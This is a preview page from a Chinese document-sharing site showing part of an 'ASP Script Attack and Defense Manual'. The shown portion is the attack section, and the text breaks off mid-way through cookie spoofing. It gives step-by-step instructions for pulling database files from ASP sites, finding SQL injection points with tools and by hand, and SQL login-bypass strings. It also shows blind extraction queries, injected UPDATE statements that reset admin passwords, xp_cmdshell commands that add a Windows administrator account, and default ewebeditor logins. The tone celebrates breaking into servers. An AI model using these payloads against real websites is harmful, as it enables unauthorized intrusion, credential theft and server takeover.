分享
分销 收藏 举报 申诉 / 45
播放页_导航下方通栏广告

类型ASP脚本攻防手册.doc

  • 上传人:二***
  • 文档编号:4768178
  • 上传时间:2024-10-12
  • 格式:DOC
  • 页数:45
  • 大小:132KB
  • 下载积分:5 金币
  • 播放页_非在线预览资源立即下载上方广告
    配套讲稿:

    如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。

    特殊限制:

    部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。

    关 键  词:
    ASP 脚本 攻防 手册
    资源描述:
    站长专用!! ASP脚本攻防手册 一、技术背景简介 随着互联网络的飞速发展,各种各样的大小网站不断地涌现,在这些大小网站中,动态的网站以其实用性、多样性占据了绝对的优势。 在动态网站中,站长多是以ASP、PHP和JSP脚本为系统架设的。从目前国内的情况看,ASP系统因其易用性,兼容性(也不排除微软垄断的原因),再加上网上ASP源码的丰富,深受各个站长青睐,这一点通过搜索可以很清楚地显示出来。(如图1、2)是分别用google和百度搜索ASP系统的常见关键字.asp?id=1的结果。 正是由于ASP系统在互联网上广泛的应用,针对ASP系统的脚本攻击最近闹得是红红火火。在这些攻击中,攻击者多是利用注入、暴库、旁注、cookies欺骗等手段获取管理员的权限,然后通过后台取得webshell控制整个站点,继而通过webshell提升权限获取服务器管理权限。 小知识: 什么是webshell?webshell就是一个相应脚本语言编写成的,具有在线编辑、删除、新增文件、执行程序及SQL语句等功能的脚本文件,如著名的海洋顶端就是这样一个文件。(如图3所示) 脚本攻击之所以会闹得红红火火,正是因为这门技术掌握简单,又加之许多傻瓜化的工具的出现,深受广大菜鸟的喜爱,同时也是各牛人们在服务器系统漏洞越来越少的今天入侵的另一妙法。本书通过攻防两方面的详细讲解及一些防范工具的安全问题,加上本人学习中的一些心得体会,力求让广大菜鸟们对脚本攻击技术有一个全面的了解,希望广大菜鸟们能喜欢。因芒果我技术有限,其中有什么错误还望牛人们指正。 二、攻击篇 俗话说得好,知已知彼,百战不殆。有攻才有防,现在我就带领大家走进脚本攻击之旅,相信大家看完这部份后也能使众多的ASP站点在你面前哄然倒塌哦! 好了!先来看我们攻击的总目的,那就是获取webshell,然后提权! 废话少说,下面我们正式开始我们的脚本攻击之旅! (一)暴库 一般而言,我们要获取一个站点的shell,必须先获得对方的后台管理权限,要获得对方的管理权限当然先要得到对方的管理员用户各种密码了!得到对方管理员用户各种密码的方法有很多,最方便的当数暴库了。 常见的暴库方法有conn.asp法和%5C大法,不知道是什么东东啊?没关系,往下看你就知道了。 我们先从conn.asp说起,conn.asp是一个很古老的暴库方法,它是通过直接访问数据库连接文件conn.asp使服务器产生错误,通过服务器返回的错误信息提示暴出数据库地址的。(如图4、 5)所示就是用conn.asp分别暴出动力系统用户和管理员数据库的例子。 小知识:什么是数据库连接文件conn.asp。数据库连接文件是对数据库调用的一个文件,里面包含有被调用数据库的路径及数据库名等,如调用的是SQL数据库,则还会含有SQL连接用户名和密码等内容。另外,数据库连接文件并不都是conn.asp的,有的系统可能会用其它名字,但大多数是用conn.asp的,这里我们只是用conn.asp代替类似文件。 直接访问conn.asp为什么能暴出数据库地址呢?那是因为conn.asp与调用文件相对路径出错了。 小知识:什么是相对路径,绝对路径? 相对路径就是相对于服务管理web根目录的路径,如服务器的web根目录为D:\wwwroot\,这个目录有一个inc目录,那么我们在访问inc目录时只须在浏览器中输入www.×××.com/inc而不用输入www.×××.com/www.root/inc,这个inc就是相对于wwwroot为根目录的一级目录,而在这里这个inc的绝对路径为D:\wwwroot\inc,为二级目录。 这样读可能大家会不太明白。我们还是再来看前面的动力系统,动力的conn.asp是放在根目录下的inc目录运行的,而许多调用conn.asp的文件都是在根目录下运行的,因此,考虑到执行目录的不同,conn.asp中数据库的相对地址是写成“数据库所在目录/数据库名”的,我们来看动力默认的conn.asp代码,其中一句表示的就是数据库的路径。当conn.asp被根目录下的其它文件调用时,其连接的是根目录中data目录下的 *.mdb文件,而当我们直接访问inc目录下的conn.asp时,根据conn中的内容,服务器会去请求连接inc目录下没有data目录,相对路径就变成了inc/data/ 。因为inc目录下没有data目录和 文件,服务器当然会报错了,图5中的错误提示内容。 很明显,它说的是inc下的data\*.mdb不是有效路径,而inc是我们当前所在的目录,所以我们只须把inc后的路径换成相对路径贴到web根目录就是数据库的路径了,这里我们得到的数据库路径为www.×××.com/dada/*.mdb,直接访问这个地址,看是不是可以直接下载了啊(如图6所示)。 下面我们再来看%5C大法。 对一些网站,我们只需要把站点url的最后一个“/”改为%5C就能暴出站点数据库(如图7)所示就是用这种方法暴出的数据库。 为什么%5C大法能暴出数据库地址呢?开始我也不是很明白,但后来参考了一下相关的文章,自己弄了一下IIS设置,大致地明白了%5C暴库的原理。 要明白为什么%5C大法能暴库首先要明的%5C代表的是什么东东。其实,%5C就是16进制代码中的“\”,但如果我们直接在浏览器中提交“\”,IE会自动把“\”转换为“/”,而提交“%5C”是不会被转换的,最后%5C已经编译仍是表示“\”的意思。为什么遇到“\”就能暴出数据库呢?还记得我说conn.asp暴库时最初是怎么说的吗?conn.asp暴库是相对路径出错,IIS报错信息就暴出了站点数据库。而%5C就是绝对路径出错而引起暴库的。 一般地,在conn.asp中都会有这么一个语句: dbpath=server.mappath(“data/data.mdb”),其中server.mappath的作用就是把相对路径转换为绝对路径,只有经过转换,服务器才能正确读写数据据。 server.mappath读取的绝对路径的方法是这样的,假设IIS根目录为D:\wwwroot,在这个目录下有一个bbs文件夹,一套ASP论坛系统就放在这个文件夹中,该论坛系统的数据库路径为data/data.mdb,那么server.mappath读取的路径就为IIS根目录+相对路径,即D:\wwwroot\bbs\data\data.mdb. 而IIS还有一个特殊的功能,就是虚拟目录。还是上面的例子,不过这次bbs目录还在D:\wwwroot下,而是在E:\bbs,但通过IIS的虚拟目录设置,我们仍能把bbs视为是在wwwroot下的。不过这时的目录指向的是一个物理路径,IIS为了解决虚拟目录也能正常访问的问题,优先查询了每个目录是否指向了一个物理路径,而这种查询是以“\”做为标志的。 现在我们可以知道%5C暴库的原理了。当IIS遇到了%5C,即是“\”时,IIS就会以为遇到了一个虚拟目录,便停止向上解析了。如果网站的数据库是在D:\wwwroot\bbs\data\data.mdb,而遇到“\”后就会被解析为D:\wwwroot\data\data.mdb,因为wwwroot下没有data文件夹和data\data.mdb文件,所以IIS就会报错,我们的目的就达到了。 下面是暴库过程中的一些常见问题及解决方法。 1、暴库时并不显示×××错误,而是Http500错误。 这个问题吗……其实很简单,那是你自己没有对IE进行设置所致。打开IE,到工具→internet选项→高级处把显示友好的http错误信息前的“√”去掉,应用后刷新页面看看,数据库地址出来了吧?(如图8) 2、暴出的数据库是以.asp结尾的,下载不了。 呵呵,其实.asp的数据库也是可以下的,我们只须将数据库地址复制下来,用网际快车等工具就可以下载了。不过,有的数据库中专门建了一个防下载的表,里面写了一条错误的ASP的语句,一般是<% nodownload%>,这时如果把数据库改为asp后缀的就下不了了。(如图9、10) 3、爆出的数据库中含有“#”号,下载不了。 这个吗,也是可以解决的。还记得说%5C暴库原理时说过%5C其实是“\”的16进制代码吗?同样的,我们也可以用“#”的16进制代码%23代替“#”,这样数据库不就可以下载了吗?(如图11)。 4、ASP的数据库下载回来后无法打开或下载回来的数据库打开要密码。 ASP的数据库当然无法打开了,你只须把它的后缀改为mdb就可以了啊!如果打开数据库要密码可以找一些ACCESS密码破解的工具,ACCESS的密码是很好破的。 5、我在网吧上网,没ACCESS怎么打开数据库? 可以用辅臣数据浏览器打开。 6、我遇到了一个超BT的网站,数据库中管理员密码全是16/32位无规律的密码,而且我一个个输入后都说我的密码不对,怎么回事啊? 晕绝,那16/32位的密码是经md5加密的,我们可以用一个md5破解工具把密码还原(如图12),不过md5可不是那么好破的东东哦。 7、数据库明明是.mdb的我却下载不了。 这个问题在非安全第5期提过,这时你可以用工具下载试试,如果还不行那就是可能是数据库是位于虚拟目录中的,那就没办法了。 8、我用%5C暴库显示“处理url错误,请与系统管理员联系”,用conn.asp暴又一片空白。 用conn暴库一片空白是因为conn中加了容易错语句,而显示“处理url错误,请与系统管理员联系”则是服务器屏敝了错误信息显示,这时暴库就没有用了。 (二)注入 在众多针对脚本系统的攻击中,注入可谓是闹得最红火的攻击手段了。那么什么是注入攻击呢?来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。” 目前引起SQL注入的原因主要是程序员在编写帐脚本程序时对特殊字符过滤的不完全引起的,因为一个脚本系统中文件众多系统开发人员不可能每一个文件都考虑得十分周全,这样使我们有机可趁了。加上注入攻击的易学易用性,使得最近的注入攻击成风。 说了这么多还没玩过注入攻击的朋友们是不是跃跃欲试了呢?好,下面我就带领大家开始我们的注入之旅。 (1)工具篇 由于注入攻击的兴起,越来越多的注入攻击工具也随之出现了,而且这些工具也越来越傻瓜化,深受我们菜鸟的喜爱。下面我们就先讲讲怎么利用工具来实现注入攻击吧。 注入攻击的工具有很多种,这里我推荐大家用小竹的NBSi2,教主的HDSi和阿D的注入工具以及小榕的wedtwis图形版,这几种工具的界面分别如图13-16所示,下面我将主要以NBSi2进行讲解,其它几个工具的使用也是类似的,大家会用NBSi2就可以了。 下载NBSi2后我们需要把NBSi2文件夹中system32内的文件复制到系统文件夹的system32内,win9X的可以放到system内,运行NBSi2登录后,我们就可以看到图13所示界面。这个界面是注入分析界面,如果我们知道一个注入点就可以在注入地址处填入注入点的url。现在我们不知道哪个地址可以注入,我们就可以来到注入扫描界面(如图17),在扫描地址那里我们填上欲扫描网站的url选全面扫描,然后点开始扫描,不一会下面就会列出可能存在的注入地址和注入的可能性高低如(图18)。 小技巧:如果用NBSi2扫描时扫www×××.com扫不到或扫到的全是可能性低的注入点,那么我们可以试着扫www×××.com/××.asp?id=××,这时你可能会得到一个注入可能性高的注入点。 我们选择一个注入可能性高的注入点,这个注入点的url会出现在下方的方框中(如图19),点方根旁的“注入分析”,我们就会来到注入分析界面。开始分析后不久我们就可以得到这是一个数字型+ACCESS的注入点(如图20)我们在表名的大方框下点击开始猜解,这时会单出一个提示(图21)不管它,确定,不一会就会猜出表名,选择要猜解的表名,一般是admin,然后用类似的方法猜出列名,同时选中要猜解的列,用类似的方法就可以猜出列中的数据了。(如图22)就是我猜的管理员用户和密码。 当然得到的密码也可能是经MD5加密过的,这时我们就要破解之后才能用了。只得到用户名和密码如果不知道后台地址也是没用的。那么我们就对该站的后台进行扫描吧。NBSiZ虽说也带有扫描功能,但因为它的字典不够强大,这里就以HDSI为例了(如图23)所示,打开HDSI后选择“后台地址扫描”,在扫描地址处填上站点url http://www.×××.com,然后点开始扫描,不一会就会在中间的框中迅速闪过被扫描的地址,地址后面有一个用中括号括起来的数字,404表示页面存在,403表示禁止访问,500表示页面错误,200表示页面存在,302表示页面有转向,如果我们直接用浏览器访问上进几种情况的页面会出现图24-28所示的页面。 扫描结束后,HDSi会把可能存在的后台地址列到下方的框中(如图29),如果没有扫描后台则会列出你所填的扫描地址(如图30)。 好了,找到后台我们就可以用得到的用户和密码登录后台管理了,至于进了后台除了删文章发发公告和来吓吓管理员还有什么用,我们后面再说。 上面说的是针对ASP+ACCESS的注入,其实注入攻击最好玩的还是SQL注入,跟ASP+ACCESS的注入一样,ASP+MSSQL的注入在经过NBSi2的扫描→检测后也可以直接去读数据库的信息,但对SQL的注入而言,这么做显然是不见诱惑的,因为SQL的注入我们可以做更多的事。 在检测到一个网站有SQL的注入点时,NBSi2通常出现(如图31)所示的界面,我们注意看这个界面ACCESS注入时的不同,它在上面多了一个小框,上面写出了当前的数据库名,连接帐号及权限等信息。在这里我遇到我是Sa权限,比系统管理员权限还大!现在我们不去扫用户数据去干什么呢?当然有得玩了!我们先用NBSi2的SQL弱口令扫描功能看看(如图32),这次我很幸运,遇到了台sa连接且口令为空的扒器,马上搬出SQL连接器吧,(如图33)所示,我们填上连接IP,用户名Sa,密码为空,好了,连上去了,赶快执行命令把自己升为系统管理员吧! 然后再开个3389或telnet,呵呵,恭喜你,又抓到一员小鸡了。 如果没有SQL弱口令怎么办呢?没问题我们还可以用NBSi2的另一个功能执行我们的命令。 虽然现在遇到的服务器SQL没有弱口令,但用NBSi2扫得的结果中我们知道当前用户是具有Sa权限的,这时我们可以用NBcommander命令执行器执行命令。选择“扫描及工具”→“Nbcoommandaer命令执行器”,如图33所示,然后来到了(图34)所示的NBcommander命令执行器界面,在“注入地址”中输入注入点链接,并选择注入类型,然后句选“尝试回显结果”及“执行Dos命令”项,并在“命令”中输入执行的系统命令,这里我要服务器开启了什么系统服务,就输入了“netstal-an”点“执行”后,即可看到服务器上,此时打开的服务了(图35)。 怎么样,现在可以执行任意命令了吧?什么,用惯widws记不得这么多Dos命令?晕!不用急,NBSiZ很照顾小菜的。我们在“NB commander命令执行器”中句选“执行Dos命令“后,NBSiZ会自动弹出常用的DOS命令,句选执行SQL命令也同样会弹出常用的SQL命令(如图36、37所示)。怎么样,这回直接选就行了吧,不用记那么多命令了。 上面说的都是基于Sa权限的命令执行,如果遇到一个没有Sa权限的机器呢?没关系,其实只要有Pablic以上的权限,我们就能遍历服务器的文件了。这时,我们要请出NBSi2另一个实用的工具“MBTreelist”了,还是从“扫描的工具”中打开“NBTreelist”,我们来看(图38)所示页面。勾选右边“文件”和“文件夹”项,然后在“输入路径”中输入要查看的磁盘路径。点列目录……,慢慢,不要急,先去泡碗面吃了回来先。吃饱了,回来也就看到了列出的目录信息了(如图39)。通过这个工具,我们就可以了解服务器上装了什么软件,数据库在哪等信息了,是不是行实用呢? (2)手动篇 毛主席说得好:“自己动手,丰衣足食”(哪来的鸡蛋?不要浪费国家粮食啊!)只用工具是永远得不到提高的。所以我们还要学会手动注入。 说起手动注入,就不得不说一个很高笑又很经典的漏洞。虽然这个漏洞现在已经很罕见了(其实也很常见的,前段时间我还在某知名大学计算机系的网站发现该漏洞,更搞笑的是这个大学还开有信息安全专业,汗),但却十分实用。我们找到一个站的管理入口后,要以尝试在用户名和密码处都输入'or''='(如图40),怎么样,直接进入后台了吧?类似的漏洞还有在用户名处输入管理员的用户名,如admin,密码处输入一个SQL语句,同样可以通过验证,常见的这类语句有a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or 'a '='a "or"="a'='a ' ) or (' a ' =' a 等。 好了,还是说说常规的生动注入吧。我们打开一个类似www.×××.com/×××asp?id=××的url后,先在这个url后加个单引号,变成www.×××.com/×××.asp?id=×× ',如果出现错误提示(图41),则说明可能存在注入漏洞。然后分别提交www.×××.com/×××.asp?id=××and 1=1和www.×××.com/×××.asp?id=××and 1=2,两次返回的页面不同,则说明有注入漏洞,我们就能开展下一步的行动了。(如图42、43) 下面先以ACCESS的数据库为例说说怎么手动猜数据库内容: 我们先来猜数据库的表名,猜表名的语句为在注入点后加上“and exists (select count from 表名)”还是以www.×××-com/×××.asp?id=××为例,如果我猜这个站的数据库中有个名为123的表,那就提交www. ×××.com/×××.asp?id=×× and exists (select count from 123),结果返回错误页面(图44),说明数据库中没有123这个表,那我再猜有没有admin这个表,于是提交如下语句,www.×××.com/××.com/××.asp?id=×× and exists (select count from cdmin),返回正常页面图45),说明存在 admin表,我们可以继续猜列名。 小提示: 常见的表名有:admin a_admin x_admin m_admin adminuser admin_user article_admin administrator manage manager member memberlist user users userinfo user_info admin_userinfo userlist user_list login 用户 密码 会员 登录 movie movies news password clubconfig config company book art bbs dv_admin等。 好,猜出存在admin表后,我们就可以猜到列名了,猜列名的语句是“and (select count(列名)from表名)>0。同样的,如果返回错误,则说明此列不存在,如果返回正常,则存在此列。我这里提交的是www×××.com/×××.asp?id=×× and (select count (username)from admin)>0,返回正常,继续猜,可知admin表中还有Password和id这两个列。 小提示: 常见的列名有:id admin adminid admin_id adminuser admin_user adminuserid admin_userid adminusername admin_username adminname admin_name adminpwd admin_pwd adminpass admin_pass adminpassword admin_password administrator administrators usr usr_n usrname usr_name usrpass usr_pass usrnam nc uid user userid user_id name username user_name pass userpass user_pass password userpassword user_password pwd userpwd user_pwd useradmin user_admin pword p_word passwd pass_wd yonghu 用户 用户名 mima 密码 dw oklook等。 好了,猜完表名和列名,我们就该猜列长度了,猜解语句为: and (selct top l len(列名)from表名>×。其中×是数字,我们需要变换这个×事猜列长度,如这里我提交www.×××com./××.asp?id=×× and (selct top l len (username) from admin>1、>2、>3、>4都返回正常,猜到>5时出现错误提示,说明正经列长度为5,另外,变换top后的数字就可以猜此列的第N行长度了。 激动人心的时候到了,我们要猜用户名和密码了。猜用户名和密码需要用ASC和Mid函数。用Mid(列名,N,1)截取第N位字符,再用ASC mid(列名,N,1))得到ASCLL码。这里变换N可得到用户名或密码的第N位的ASCLL码,猜用户名/密码的语句为:and (selelt top l asc(mid(列名N,1)) from表名)>×,×为ASCLL码,top后数字为该列第N行。这里我提交www. ×××.com/×××.asp?id=×× and ( select top l asc(mid (username, N,1)) from admin)>10,返回正常,继续提交>50,正常>100,显示错误,提交>90,正常……一直到>96正常,>97显示错误,得到用户名第一位ASCLL码为97,然后打开ASCLL码转换器(如图46),得知第一位是a,变换N值可猜出用户名为admin,变换列名可得密码。我们可用NBSi2试试,猜解的结果是一样的(图47)。 我们可以看到,对ASP+ACCESS的注入主要是靠猜测和运气,如果遇到一个常见的系统我们就可以下载源码看数据库中的表名和列名,从而直接猜用户名和密码,费时又费力。但对ASP+MSSQL的注入就不同了,它不但可以直接爆出表名和库名,还能直接执行一些命令,修改数据库等。怎样,心动了吧?下面就跟我来一起玩SQL的注入吧。 还是以www.×××com./×××.asp?id=××为例,如果用单引号,and 1=1和and 1=2检测到这个网站有漏洞,并以加单引号返回的错误信息中得知这个站用的是SQL的数据库(图48),那么我们可以提交这么一个语句: having 1=1--可得到另一个错误信息,这里我提交www. ×××.com/××.asp?id=×× having 1=1--,返回如图49所示页面,其中admin.id就是一个表名admin 一个列名id。 继续提交www. ×××.com/×××/.asp?id=×× group by admin .id having 1=1--可得到另一个列名username,继续提交www. ×××.com/×××.asp?id=×× group by admin.id , admin .username having 1=1--,就能爆出另一个列名password(如图49、50)。 用类似的方法提交直到不再报错,我们就能得到当前表的所有列名为id、username、psaaword上面这个方法的原理为:在SQL语句中,hving 1=1--是与group by结合使用进行条件判断的,如果语句不完整,数据库会返回错误信息,并显示一个表名和一个列名。 但上面的方法只能暴当前表中的列,下面我教大家一个爆任意表名和列名方法。 此方法的相关语句为and (select top l name from (sekect top[N]id,name from sysobjects where xtype=char(85))T order by id desc)>1 其中[N]代表数据库中的第N个表,这里我们来提交:www.×××com./×××.asp?id=×× and (select top l name from (select top [10]id,name from bysobjects where xtype=char(85)) T order by id desc)>1 这时就可以暴出一个表名为admin的表,(如图51) 要爆任意表名中的任意列名,语句为: and (select top l col_ amelobject_id(表名),[N] from sysobjects)>1,我们这里提交:www. ×××.com/×××.asp?id=×× and (seclect top 1 col_namelobjet_id ( ‘admin’,1) from sysobjects )>1,返回(如图52)所示,我们就可以知道第1个列名为id了。(其中[M]为第M个列名)。 好了,现在爆出了表、列名我们就可以读其数据库中的数据了,这个命令的相关语句为:and (select top 1 列名from 表名where id=[N]>1,其中N代表第N条数据,这里我们提交www.×××.com/×××.asp?id=×× and (select top 1 asernaose from admin where id =1)>1,就会显示如图52所示情况,我们就知道了admin表中username第1条款数据为admin,用类似的方法我们还能直接读出密码,怎么样,方便多了吧? 如果是ASP+ACCESS的,我们得到用户名和密码也就完成了,但SQL的功能可大得多了,想想你有没有因为密码是md5加密过的破不出来而烦恼啊?在SQL的注入中,你完全不用担心这个,因为SQL的注入是可以修改数据库任意数据的,相关语句因为:“updata表名set列名=‘内容’where id=cf ′′′ 如果我们这里提交www. ×××.com/×××.asp?id=××”;updata admin set password=′123′ where id =‘1’”我们就id为1的管理密码改为123了,当然我们也可以新增一个管理员相关语为:“;insert into 表名valaes(内容)--,如我们提交www. ×××.com/×××.asp?id=××”;inert into admin valaes (123) –就能能往admin中写入123了。 另外,SQL的注入还可以利用许多扩展功能,现在我只举几个常用的。 1、判断当前数据库权限www. ×××.com/×××/ asp?id=××and user>0返回(图53),其中值dbo就是读当前为dbo权限。 2、获得当前数据库名www. ×××.com/×××.asp?id=×× and db_name( ) >0,返回(图54),值“admin”表明当前连接数据库名为admin。添加系统帐户并提权: www. ×××.com/×××.asp?id=××; exec master .. xp_ cmdshell ” net user 123 123 /add. 添加用户名123, 密码123用户。 www. ×××.com/×××.asp?id=××; exec master .. xp_cmdshell ” net localgroup adminis trators 123 ladd , 把123升为管理员,其实,我们只须在xp_cmdsell后用引号写上cmd语句就能执行了。 其实SQL注入的功能是十分强大的,我就不再多说了,大家日后自己慢慢体会吧。 (3)常见问题: 我用NBSi2检测时提示暂来检测到注入漏洞,要我输入特征字符怎么办? 用手动注入,and 1=1和and 1=2检测,前后不同的字符便是特征字符,找一部份填进去,再检测就可以了。 服务器做了错误信息屏蔽,看不到报错处息怎么办? 这个对ASCCES的注入影响不大,看它什么时候出错就行了,对SQL注入会有点阻碍,可以用NBSi2代劳。 我输入一个单引号就说我非法注入,还记了我IP,我好怕啊!有什么办法吗?(图55) 这是加了防注入通用程序,想直接注入恐怕不行,但可以从这个程序本身的漏洞攻击,具体下面会讲到。 我找了很久也找不到注入点,怎么办? 你可以看看一些容易被忽略的地方,如打印、编辑、资料修改、自定义头像搜索等。如实在找不到可以用下面进的其它方法。 (三)旁注及cookies欺骗 (1)旁注 说起旁注,其实也就是看同台服务器上是否绑有多个站点,如果绑有多个站点,那么就算其中一个站点的脚本做得很安全,也可以从另一个站点进行突破。我们说的旁注一般指的是绑了不同域名的不同站点上的旁注,这里我称为广义上的旁注。其实,还有一种由于同一站点内使用了多套不同程序,其中一套也许比较安全,但另一套却是有漏洞的。这里我称之为狭义的旁注。如动力3.51+dvbbs7.1的站点中,dvbbs7.1也许比较安全,但动力3.51漏洞百出,这就是狭义旁注利用的一个例子。关于狭义的旁注比较好理解和利用,我这里就不多说了,只是说一下一个极易被管理员忽略的狭义旁注的利用就可以了。 这个容易被人忽略的地方是ewebeditor,ewebeditor是一款优秀的基于网页的在线编辑器,很多系统都会选择它作为第三方插件,实现在线编辑的功能。但是,许多站长并不知道自己下的系统中还包含有ewebeditor,所以是很少有人会去改它的默认管理员用户名、密码数据库路径的,这就给我们带来了入侵的机会。 怎么判断一个系统有没有用ewebeditor呢?如图56所示,如果有图中标记处的按扭出现的系统就大致可以确定该系统是用了ewebeditor。 好了,下面在出现图56所示页面的地方直看源代码,我们现在得到了ewebeditvv的路径为edit,访问www. ×××.com/edit/admin_login.asp,来到图57所示页面,用默认用户名admin,密码admin试试是不是进去了啊?(图58)。如果不行,那就试试访问www. ×××.com lelit/db/ewebeditor.mdb,,看是不是能下载ewebeditor的数据库了呢?(图59)不过密码是md5的,又要慢慢破了。 简单提了一下一个容易被人忽略的ewebeditor,下面要开始讲我们通常讲的广义上的旁注了。引起这个旁注的原因,主要是因为我们现在使用的DNS域名是需要统一向总部位于美国的国际域名组织进行注册的,而国际域名组织为了方便管理等原因,将域名的信息放到了whois查询系统中,这样,只要用whois就能查出某域名解析的IP是什么了,得到解析的IP后,我们可以继续通过whois的查询功能,在域名记录里寻找到所有解析到这个IP的域名信息,这样我们就可以知道一个服务器上绑了多少个站点了。 下面我们来具体实践一下,就拿我的开刀吧。 首先打开http://wbois.webbosting.info,(如图60)所示,在框中输入,点Go,来到(图61)所示页面,得到CNN安全网的IP,然后再点那个IP,就会来到(图62)所示页面,还绑有几个域名在这里的吗,呵呵,下面就可以看看其它站有没有什么词了,如果E文不好,也可以用老兵的工具查询,步骤是一样的(图63-65)。找到在同一服务器上的站后就用前面的方法检查站点安全性吧。 (2)cookies欺骗 现在有很多系统为了方便网友浏览,都使用了cookies技术以避免多次输入用户名和密码等信息,那么,我们只要对服务器递交给用户的cookie进行改写,也就是cookies欺骗,以达到欺骗服务程序的目的。 小知识:什么是cookies?cookies是一小段文本信息,伴随着用户请求和页面在web服务器和浏览器之间传递。用户每次访问站点时,web应用程序都可以读取cookies包含的信息。使用cookies能够达到多种的,所有这些目的,所有这些目的都是为了使web站点记住你。 上面我们大致了解了一下cookies欺骗的原理,下面我们来看一下它有成因,cookies欺骗的成因一般是对cookies的验证不严,如当年动网6.0的欺骗和前段时间leadbbs3.14插件美化版的欺骗。其中leadbbs3.14插件美化版的欺骗犹为严重,居然可以直登录后台,让我这个leadbbs的忠实fans着实心寒了一天晚上(第二天得知有漏洞的是美化插件版,而官方的3.14a补丁N年前就补了这个洞,汗)。为了大家对这个验证不严造成的cookies欺骗有感性的认识,征得偶朋友“白天的描[F·S·T]”的同意,现将它写的对lead欺骗的文章引用如下: 经多次测试及在火狐兄弟们的帮助下,发现在Leadbbs 3.14美化插件版能欺骗成功(官方说是在某一时段发布的leadbbs3.14论坛存在这个漏洞,估计美化的人正好下了那一时段的版本。),而非美化插件版试了十多个论坛了都不行!所以这次的目标是Leadbbs美化插件版。首先在百度上输入关键字 下载 leadbbs美化插件版,,呵呵,为什么要打这个关键字呢?等会你们就明白了。搜索出了一大堆叶子,随便点了一个下面页面,看到了程序的演示地址,目标就是它的演示地址。进到演示地址的那个论坛,用IE注册了一个帐号,这时拿出mini浏览器,在URL中填入论坛地址,点get,但当页面打开到一半时突然出现奇怪的现象,如图1, 根本无法登陆。难道说他们早已发现这个漏洞然后自己开发出了补丁?反复试了几次还是这样,后来查看了一下论坛首页的代码,发现原来是太极链计数器搞的鬼,嘿嘿,不怕,回到mini浏览器,点击settings这个选项,在 show GET-Dialog 这项前面打上钩,再在URL上输入论坛地址,点get,当页面载入一半时出现了一个框框,图2, 这时只要点cancel就不会发生图一这种现象了。下面开始欺骗,在管理团队中找到总斑竹的ID,在mini浏览器上选择cookies这项,看到cookies是这样的: gbtoyAtBD=0; path=/ ASPSESSIONIDAQDRRDBD=DMMBDEPBNOGCKDGKBKEHGHAN; path=/ gbtoyTime=2005%2D3%2D25+19%3A48%3A19; path=/ gbtoy=pass=111222333&user=%B0%D7%CC%EC%B5%C4%C3%A8; path
    展开阅读全文
    提示  咨信网温馨提示:
    1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
    2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
    3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
    4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前可先查看【教您几个在下载文档中可以更好的避免被坑】。
    5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
    6、文档遇到问题,请及时联系平台进行协调解决,联系【微信客服】、【QQ客服】,若有其他问题请点击或扫码反馈【服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【版权申诉】”,意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:0574-28810668;投诉电话:18658249818。

    开通VIP折扣优惠下载文档

    自信AI创作助手
    关于本文
    本文标题:ASP脚本攻防手册.doc
    链接地址:https://www.zixin.com.cn/doc/4768178.html
    页脚通栏广告

    Copyright ©2010-2026   All Rights Reserved  宁波自信网络信息技术有限公司 版权所有   |  客服电话:0574-28810668    微信客服:咨信网客服    投诉电话:18658249818   

    违法和不良信息举报邮箱:help@zixin.com.cn    文档合作和网站合作邮箱:fuwu@zixin.com.cn    意见反馈和侵权处理邮箱:1219186828@qq.com   | 证照中心

    12321jubao.png12321网络举报中心 电话:010-12321  jubao.png中国互联网举报中心 电话:12377   gongan.png浙公网安备33021202000488号  icp.png浙ICP备2021020529号-1 浙B2-20240490   


    关注我们 :微信公众号  抖音  微博  LOFTER               

    自信网络  |  ZixinNetwork